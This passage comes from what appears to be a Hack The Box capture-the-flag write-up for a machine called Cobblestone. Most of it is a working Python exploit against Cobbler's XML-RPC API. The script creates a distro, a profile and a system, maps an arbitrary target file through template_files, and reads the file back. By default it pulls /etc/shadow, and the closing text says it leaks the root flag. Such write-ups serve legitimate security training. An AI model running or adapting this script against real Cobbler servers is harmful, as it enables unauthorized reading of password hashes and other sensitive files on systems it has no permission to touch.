        self.rpc.modify_profile(p_id, "name",   name,        self.token)
        self.rpc.modify_profile(p_id, "distro", distro_name, self.token)
        try:
            self.rpc.save_profile(p_id, self.token)
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"save_profile failed: {e}")
        return p_id

    def create_system(self, name: str, profile_name: str, src: str, dest: str):
        s_id = self.rpc.new_system(self.token)
        self.rpc.modify_system(s_id, "name", name, self.token)
        self.rpc.modify_system(s_id, "profile", profile_name, self.token)
        self.rpc.modify_system(s_id, "template_files", {src: dest}, self.token)
        try:
            self.rpc.save_system(s_id, self.token)  # <-- fixed var name
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"save_system failed: {e}")
        return s_id

    def sync(self):
        try:
            self.rpc.sync(self.token)
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"sync failed: {e}")

    def get_template(self, system_name: str, dest: str) -> str:
        try:
            return self.rpc.get_template_file_for_system(system_name, dest)
        except xmlrpc.client.Fault as e:
            raise RuntimeError(f"get_template_file_for_system failed: {e}")

def build_names(prefix: str) -> CobblerNames:
    suf = uuid.uuid4().hex[:8]
    return CobblerNames(
        distro  = f"{prefix}_distro_{suf}",
        profile = f"{prefix}_profile_{suf}",
        system  = f"{prefix}_system_{suf}",
    )

def _build_urls(base: str) -> list[str]:
    """
    Accepts:
      - http://127.0.0.1:25151
      - http://127.0.0.1:25151/
      - http://127.0.0.1:25151/RPC2
      - http://cobblestone.htb/cobbler_api
    """
    u = base.rstrip('/')
    if u.endswith('/RPC2'):
        return [u]  
    if '/cobbler_api' in urlparse(u).path:
        return [u]
    return [u + '/RPC2', u + '/', u + '/cobbler_api']

def connect_any(base: str):
    last_err = None
    for url in _build_urls(base):
        try:
            s = xmlrpc.client.ServerProxy(url, allow_none=True)
            # liveness probe that doesn't need a token
            s.get_distros()
            return s, url
        except Exception as e:
            last_err = e
    raise RuntimeError(f"no working XML-RPC endpoint found for {base}: {last_err}")

def run_exfil(cfg: CobblerConfig):
    client = CobblerClient(cfg)
    print(f"[+] XML-RPC endpoint: {client.endpoint}")
    print("[*] Logging in Cobbler server …")
    token = client.login()
    print("[+] Token:", token)

    names = build_names(cfg.prefix)

    print(f"[*] Creating distro:  {names.distro}")
    client.create_distro(names.distro)
    print("[+] Distro created.")

    print(f"[*] Creating profile: {names.profile} -> {names.distro}")
    client.create_profile(names.profile, names.distro)
    print("[+] Profile created.")

    print(f"[*] Creating system:  {names.system} -> {names.profile}")
    print(f"    Mapping: {cfg.src} -> {cfg.dest}")
    client.create_system(names.system, names.profile, cfg.src, cfg.dest)
    print("[+] System created.")

    print("[*] Syncing…")
    client.sync()
    print("[+] Sync OK.")

    print("[*] Exfiltrating…")
    data = client.get_template(names.system, cfg.dest)
    print(f"[+] Exfiltrated bytes: {len(data)}")
    print(data, end="")

def parse_args() -> CobblerConfig:
    ap = argparse.ArgumentParser()
    ap.add_argument("-t", "--target", required=True,
                    help="Target base URL (e.g., http://127.0.0.1:25151)")
    ap.add_argument("-s", "--src", default="/etc/shadow",
                    help="Real file path on target to read")
    ap.add_argument("--kernel", default="/vmlinuz",
                    help="Kernel path for distro")
    ap.add_argument("--initrd", default="/initrd.img",
                    help="Initrd path for distro")
    ap.add_argument("--breed",  default="",
                    help="Optional breed (e.g., debian or redhat)")
    ap.add_argument("--prefix", default="pwn",
                    help="Name prefix for created Cobbler objects")
    a = ap.parse_args()
    return CobblerConfig(
        url	  = a.target,
        kernel= a.kernel,
        initrd= a.initrd,
        src   = a.src,
        dest  = "/whatever",
        breed = a.breed,
        prefix= a.prefix
    )

def main():
    try:
        cfg = parse_args()
        run_exfil(cfg)
    except Exception as e:
        print("[-] Error:", e)
        sys.exit(1)

if __name__ == "__main__":
    main()

Root Leak

Now we can leak the root flag with our exploit script:

htb_cobblestone_18

We set the script to leak /etc/shadow by default:

htb_cobblestone_19